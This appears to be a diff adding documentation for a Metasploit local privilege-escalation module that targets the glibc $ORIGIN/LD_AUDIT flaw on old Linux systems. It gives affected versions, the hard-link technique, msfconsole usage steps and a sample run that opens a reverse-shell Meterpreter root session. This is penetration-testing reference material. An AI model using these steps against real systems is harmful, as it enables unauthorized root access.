|
| 1 | +## Description |
| 2 | + |
| 3 | + This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker - aka glibc `$ORIGIN` expansion vulnerability. |
| 4 | + |
| 5 | + |
| 6 | +## Vulnerable Application |
| 7 | + |
| 8 | + glibc `ld.so` in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the `LD_AUDIT` environment variable when loading setuid executables. This allows control over the `$ORIGIN` library search path resulting in execution of arbitrary shared objects. |
| 9 | + |
| 10 | + This module opens a file descriptor to the specified suid executable via a hard link, then replaces the hard link with a shared object before instructing the linker to execute the file descriptor, resulting in arbitrary code execution. |
| 11 | + |
| 12 | + The specified setuid binary must be readable and located on the same file system partition as the specified writable directory. |
| 13 | + |
| 14 | + This module has been tested successfully on: |
| 15 | + |
| 16 | + * glibc 2.5 on CentOS 5.4 (x86_64) |
| 17 | + * glibc 2.5 on CentOS 5.5 (x86_64) |
| 18 | + * glibc 2.12 on Fedora 13 (i386) |
| 19 | + |
| 20 | + RHEL 5 is reportedly affected, but untested. |
| 21 | + |
| 22 | + Some versions of `ld.so` hit a failed assertion in `dl_open_worker` causing exploitation to fail. |
| 23 | + |
| 24 | + |
| 25 | +## Verification Steps |
| 26 | + |
| 27 | + 1. Start `msfconsole` |
| 28 | + 2. Get a session |
| 29 | + 3. Do: `use exploit/linux/local/glibc_origin_expansion_priv_esc` |
| 30 | + 4. Do: `set SESSION [SESSION]` |
| 31 | + 5. Do: `check` |
| 32 | + 6. Do: `run` |
| 33 | + 7. You should get a new *root* session |
| 34 | + |
| 35 | + |
| 36 | +## Options |
| 37 | + |
| 38 | + **SESSION** |
| 39 | + |
| 40 | + Which session to use, which can be viewed with `sessions` |
| 41 | + |
| 42 | + **WritableDir** |
| 43 | + |
| 44 | + A writable directory file system path. (default: `/tmp`) |
| 45 | + |
| 46 | + |
| 47 | +## Scenarios |
| 48 | + |
| 49 | + ``` |
| 50 | + msf > use exploit/linux/local/glibc_origin_expansion_priv_esc |
| 51 | + msf exploit(linux/local/glibc_origin_expansion_priv_esc) > set session 1 |
| 52 | + session => 1 |
| 53 | + msf exploit(linux/local/glibc_origin_expansion_priv_esc) > run |
| 54 | +
|
| 55 | + [*] Started reverse TCP handler on 172.16.191.244:4444 |
| 56 | + [+] The target appears to be vulnerable |
| 57 | + [*] Using target: Linux x86 |
| 58 | + [*] Writing '/tmp/.R5Ork' (1279 bytes) ... |
| 59 | + [*] Writing '/tmp/.yE35DWbLd' (320 bytes) ... |
| 60 | + [*] Writing '/tmp/.sk7Z3Vl7vJ' (207 bytes) ... |
| 61 | + [*] Launching exploit... |
| 62 | + [*] Sending stage (857352 bytes) to 172.16.191.138 |
| 63 | + [*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.138:59187) at 2018-01-27 04:21:24 -0500 |
| 64 | +
|
| 65 | + meterpreter > getuid |
| 66 | + Server username: uid=0, gid=0, euid=0, egid=0 |
| 67 | + meterpreter > sysinfo |
| 68 | + Computer : fedora13.localdomain |
| 69 | + OS : Fedora 13 (Linux 2.6.33.3-85.fc13.i686.PAE) |
| 70 | + Architecture : i686 |
| 71 | + BuildTuple : i486-linux-musl |
| 72 | + Meterpreter : x86/linux |
| 73 | + meterpreter > |
| 74 | + ``` |
| 75 | + |
0 commit comments